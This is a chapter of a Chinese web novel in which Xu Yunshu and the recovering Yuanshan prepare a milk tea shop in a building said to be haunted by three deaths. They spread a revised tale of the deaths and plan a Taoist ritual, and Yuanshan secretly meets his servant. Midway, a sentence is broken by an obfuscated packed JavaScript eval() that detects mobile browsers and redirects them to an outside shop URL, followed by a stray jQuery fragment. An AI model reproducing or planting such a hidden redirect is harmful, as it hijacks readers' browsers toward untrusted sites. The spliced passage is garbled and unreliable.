远山还未痊愈,许云书怕他伤口裂开,没太折腾他,两人不慌不忙地准备了好几天,才修整好店面。

    开店日期将至,远山为店面写了块匾,“茗品奶茶铺”五个大字笔走龙蛇。许云书不懂书法,但也能看出这字写得颇有大家之风,一看就没少练过。

    他写的字赏心悦目,写字的他依旧如是。许云书让他写饮品单,她就坐在桌子侧面看他写。

    远山坐得端正,许云书单手撑脸,问:“远山,你家是不是很有钱?”

    “富贵与否,如今都与我无关了。”

    “那你待在这能适应吗?”

    “我被追杀那些日子,草行露宿,有片瓦遮身已是幸运。”远山淡然道,“眼下有这样一处安身之所,还得东家照拂,我若不适应,岂非得陇望蜀?”

    许云书坐直身子,愤愤不平:“你哥也太狠心了,就算有矛盾,坐下来好好谈谈不行吗?为何还要赶尽杀绝?”

    “都过去了。”远山搁笔,将竹简放到许云书手边,“东家,你看看我写得如何?”

    许云书的注意力转移到竹简上,除了奶茶名字,他还画了几朵小花做点缀,许云书好奇道:“这是茶花吗?”

    “东家一眼就看出来了。”远山弯起眉眼,“看来我这三脚猫功夫还说得过去。”

    许云书满意地朝远山竖起大拇指:“你太谦虚了。有你在,我简直如虎添翼。”

    远山笑道:“东家谬赞了。”

    说罢,远山咳了两声。

    许云书赶紧给他倒了杯热水喝,关切道:“你真的不需要看大夫吗?”

    也不知道是后遗症还是远山确实身体弱,好不容易他身上的伤都好了,又开始整日咳嗽。

    远山还不让许云书去请大夫,说浪费钱。

    “东家不必忧心。我只是偶感风寒,过几日就好了。”

    “就怕越拖越严重,你可别讳疾忌医。”

    远山笃定道:“不会的,我自己的身子我了解。”

    许云书闻言没有再劝,收好竹简,和远山说接下来的安排。

    明日他们要在家里先试做饮品,做好后再拿给街坊邻居试饮,收集一些反馈,顺便宣传一下门店,欢迎邻里开业时都去捧场。

    出门前,许云书叮嘱道:“如果你途中感到身体不舒服,不要硬撑,回家休息,知道吗?”

    远山微微笑道:“知道了。”

    他们分别做了奶茶和柠檬茶,味道不错,左邻右舍都爱喝,只是在得知店铺位置后,他们都不约而同收敛了笑容,本来肯定要去捧场的态度也变得含糊。

    有位好心的大娘多问了一嘴:“云书,你怎么选了那个铺子?”

    许云书疑惑:“那家店铺有什么问题吗?”

    大娘凑近说:“那是家凶店!里面死过人!”

    原来这家店有大瓜!怪不得系统会免费提供!八成是因为这家店铺倒贴钱都没人愿意租!!!

    许云书赶紧追问:“大娘,你知道具体是怎么回事吗?怎么会死人呢?”

    大娘一脸神秘:“都是些腌臜事。听说是有个男人在外面寻花问柳,公然带着那个女子招摇过市,刚好两人在那家店里时,被他娘子看见,两人的事就这样败露了。他娘子被邻里嘲笑,咽不下这口气,一气之下把那对奸夫淫妇都杀了,自己也受了刺激,在那店里上吊自尽了。”

    “那你可知这三位当事人都叫什么名字,家住在哪?”

    大娘遗憾地摇头:“这我就不知了。”

    这故事听起来半真半假,况且从县城传到村里,不知道经过多少张嘴巴,肯定早已变了样。但有一点可以肯定,那家店里真的死过人,而且极有可能死过三个人!

    许云书想到这事,心里凉飕飕的。店还没开呢,就已经把人都吓退了。

    必须得想个办法,化风险为机遇。

    许云书一路上都在琢磨这事,回家后,发现远山已经回来了,正伏案整理今日试饮得到的一些评价和建议。

    许云书走过去坐下,将此事说给他听。

    “此事我也从街坊口中听说了,并且还打听到了对方的身份。男子姓赵,是位茶商。他的娘子,别人只称赵夫人,那位歌伎,名唤清珏。”远山一边写一边应道,“这些人究竟如何死的?大多是道听途说,知道真相的,也许就只有寥寥几人。他们能说故事,我们也能说。”

    “你和我想一块去了。”许云书也开始整理今日的反馈,“咱们找人散播一些正向的故事,再请人去店里做场法事,如果能让苦主‘现身’,道出所谓的‘真相’,就可以扭转别人对我们店铺的印象。”

    “这个主意不错。”远山抬眸看许云书,“这事就交给我去办吧。”

    许云书点头答应,和远山商量新故事的内容后,一起总结完今日的试饮反馈。她发现大部分人都觉得当前的奶茶奶味较浓,希望能多些茶香。看来这系统并不靠谱,给的配方也是不尽人意,不能完全依葫芦画瓢。

    她继续在家煮奶茶,远山找到县城外一处破庙,好多乞丐栖身于此。

    远山将他们聚集起来,将散布新传闻一事交给他们,把许云书给的钱分发下去,说道:“事成之后,还有报酬。”

    一群乞丐顿时干劲十足,纷纷跑出破庙。

    庙内转眼就只剩远山一人。他并未急着离开,躲到结满蛛网的神像背后,片刻之后,听到了又稳又轻的脚步声。

    下一秒,一柄利剑直直刺向远山,他旋身躲过,与来人打了个照面。

    来人惶恐,立刻收剑入鞘,恭敬地朝远山行了个礼。

    “行了,这里就你我二人,不必行此虚礼。”远山挥了挥手,“我估摸着时日,你也该找到我了。看来你我之间,还算有默契。”

    “公子,你没事真是太好了!”长松看着远山全须全尾一个人,激动地抱住了他,“你当初说兵分两路,到兴安县汇合,我一路都胆战心惊。路过好几处村庄、废弃建筑,都没看到你留的标记,还以为你被抓了。快要心如死灰之际,在小山村村口的大树下看到了标记,才给了我希望。”

    远山反手拍了拍长松的背,将他推开,解释道:“路上是出了点意外。他们都以为我坠入山崖下的河里了,估计还沿着下游找我的尸体。殊不知我掉入崖中的一个山洞,等他们走后,才寻到小路来了上游。”

    远山给长松讲了他这段日子发生的事,长松听后不免忧心:“公子,许小姐不会被卷进这件事里吧?”

    远山轻叹一声:“她奶茶店的位置,就在兴安县汀兰街58号。”

    长松吃惊:“那不就是我们查到的地方?”

    “没错。”远山颇为无奈,“我曾劝她换家店面,她执意不肯。我亦不想牵连旁人,可她阴差阳错,竟和我们所查之事搅和在了一起。”

    “这位许小姐的身份……”长松本不该怀疑远山的救命恩人,但如此巧合,他必须多留个心眼。

    远山肯定道:“她没什么可疑的。”

    听自家公子这样说,长松暂且放下心来。

    远山又将散播传言一事告知于长松。光靠几个乞丐定然不行,找说书人又太招摇,还得再找些爱谈论家长里短的老百姓。

    他把身上玉佩交给长松,让他当了换钱,将此事办妥,再找几位当地有声望的道长,请他们来做一场法事。

    将这些事交代清楚后,两人定好三天后再在此处碰面。

    在远山的推动下,一个渣男出轨,原配撕三的故事,全然改头换面。

    许云书再次让邻居试饮时,也传播了一下这新故

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846958|211757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    事。

    “大娘,上次你给我讲了那件事啊,我心里害怕,就去细细打听了一下,发现根本不是那回事。”

    大娘被勾起了好奇心:“那是怎么回事?”

    许云书语气肯定:“死的那三个人,分别是一个姓赵的茶商,他娘子,还有一个叫清珏的歌伎。姓赵的贪了钱,寻花问柳时说漏了嘴。清珏知道后,就联合赵夫人,想要揭发他,谁知被姓赵的发现,他就想先下手为强,杀了清珏和赵夫人,在反抗之中,清珏为了保护赵夫人而死,赵夫人难以接受,杀了姓赵的给清珏偿命,这才受了打击,自尽去陪清珏了。”

    大娘怀疑:“真的假的?这事都过去好几个月了,怎么如今有了新说法?”

    “我从在县衙里当差的远方亲戚那听说的,那还能有假?千真万确,就是这样。只是这故事人传人得,传到咱们小山村,就完全变样了!”

    “你家还有在县衙当差的亲戚?”

    许云书客套地笑了两下:“远房的,平常没往来,也不熟。如果不是因为心里实在打鼓,也不会腆着脸去向人家打听这事。”

    大娘还是半信半疑,许云书乘胜追击:“我打算在开业那天,请道长来做法事,把赵夫人的魂魄请回来,让她自己说出当年实情。你若不信,就自己来看。”

    “这种事可不能随便凑热闹。”大娘慌张地连连摆手,又问,“都过这么久了,魂还能招回来吗?”

    “我们请的可是道行深的道长,肯定能请回来。”

    大娘狐疑:“这得花不少钱吧?许丫头,你哪来的钱?”

    大娘这时候怎么变得如此严谨了?许云书差点难以招架。

    许云书干笑了两声:“借的钱。大娘我还有事,就先走了。”

    她没再给大娘追问的机会,匆匆忙忙地走了。

    大娘说的问题确实很现实。许云书囊中羞涩,原本还担心自己的钱不够做法事,但远山告诉她,他请道士尝了他们做的柠檬茶,对方很喜欢,他就用未来一年的半价优惠换取对方一场免费的法事。

    听到这个想法后,许云书开心地拍了远山上臂一掌:“没想到你还挺有经商头脑。”

    远山吃痛地摸了摸手臂,许云书收敛了笑容,关心道:“怎么了?打到你伤口了吗?”

    “没有。东家,你手掌可真有力。”

    许云书不服气:“我根本没用力,是你细皮嫩肉,不禁打。”

    远山乖顺地笑:“好好好,东家说得有理。”

    两人一边说笑,一边将店里的陈设都布置好,再将一些家里的东西安置在二楼的房间里。奶茶店开业后,他们就要搬到这里来住了。

    这家店铺确实很不错,除了死过人。做过法事后,大家对店铺的看法应该就会有所改观了。

    许云书不相信招魂之说,她原计划只是请几个道士来演场戏。

    没想到远山请来的道士看起来颇为专业,提前七天上门来找许云书要亡者信物。

    许云书自是一问三不知。

    好在远山早有准备。他未能找到死者遗物,但手写了死者文牒交给道士。

    一切准备就绪,做法事前一天,远山问许云书:“东家,若你一人去与亡魂对话,你可会害怕?”

    “你什么意思?”

    远山难为情道:“我身体欠佳,不便前往旁观这种阴坛法事,容易被邪祟缠身。”

    “我们这不是演戏吗?”远山说得煞有介事,许云书不免心慌了一下。

    “话虽如此,可我……”远山支支吾吾,不愿再说。

    许云书见他那不好意思的模样,反应过来,古人毕竟更信鬼神之说,远山说得也有道理,万一真的被什么冲撞了,就得不偿失了。

    她应道:“行,那我就一个人去吧。”